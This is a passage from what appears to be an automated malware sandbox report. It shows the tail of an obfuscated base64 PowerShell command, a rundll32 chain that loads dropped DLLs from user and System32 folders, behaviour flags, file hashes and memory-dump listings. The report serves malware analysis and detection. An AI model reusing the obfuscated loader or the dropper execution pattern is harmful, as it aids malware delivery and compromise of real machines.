QAJwArACcAcgBpACcAKQArACcAbgBnACcAKQAuACIAdABPAGAAcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQARwA0ADAAUwA9ACgAKAAnAFkANwAnACsAJwA4ACcAKQArACcATwAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMwA4AEEAPQAoACcARwA3ACcAKwAnADQAWAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANAA3AFEAPQAoACgAJwBaADgAJwArACcANQAnACkAKwAnAEgAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll AnyString3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bnqbncsf\jwybrdy.enp",yKHQj6⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bnqbncsf\jwybrdy.enp",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
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memory/432-33-0x0000000000000000-mapping.dmp
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memory/480-20-0x0000000075781000-0x0000000075783000-memory.dmpFilesize
8KB
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memory/480-32-0x0000000010000000-0x0000000010023000-memory.dmpFilesize
140KB
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memory/480-31-0x0000000000160000-0x0000000000180000-memory.dmpFilesize
128KB
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memory/480-19-0x0000000000000000-mapping.dmp
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memory/1460-5-0x0000000000000000-mapping.dmp
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memory/1508-43-0x000007FEF7540000-0x000007FEF77BA000-memory.dmpFilesize
2.5MB
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memory/1524-17-0x0000000000000000-mapping.dmp
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memory/1592-25-0x0000000000000000-mapping.dmp
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memory/1596-3-0x00000000700B1000-0x00000000700B3000-memory.dmpFilesize
8KB
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memory/1596-2-0x0000000072631000-0x0000000072634000-memory.dmpFilesize
12KB
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memory/1596-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1664-15-0x000000001C360000-0x000000001C361000-memory.dmpFilesize
4KB
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memory/1664-6-0x0000000000000000-mapping.dmp
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memory/1664-7-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmpFilesize
8KB
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memory/1664-8-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmpFilesize
9.9MB
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memory/1664-16-0x000000001C430000-0x000000001C431000-memory.dmpFilesize
4KB
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memory/1664-9-0x0000000001FA0000-0x0000000001FA1000-memory.dmpFilesize
4KB
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memory/1664-14-0x0000000002A00000-0x0000000002A01000-memory.dmpFilesize
4KB
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memory/1664-13-0x000000001AB04000-0x000000001AB06000-memory.dmpFilesize
8KB
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memory/1664-12-0x000000001AB00000-0x000000001AB02000-memory.dmpFilesize
8KB
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memory/1664-11-0x00000000029D0000-0x00000000029D1000-memory.dmpFilesize
4KB
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memory/1664-10-0x000000001AB80000-0x000000001AB81000-memory.dmpFilesize
4KB
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memory/1964-37-0x0000000000000000-mapping.dmp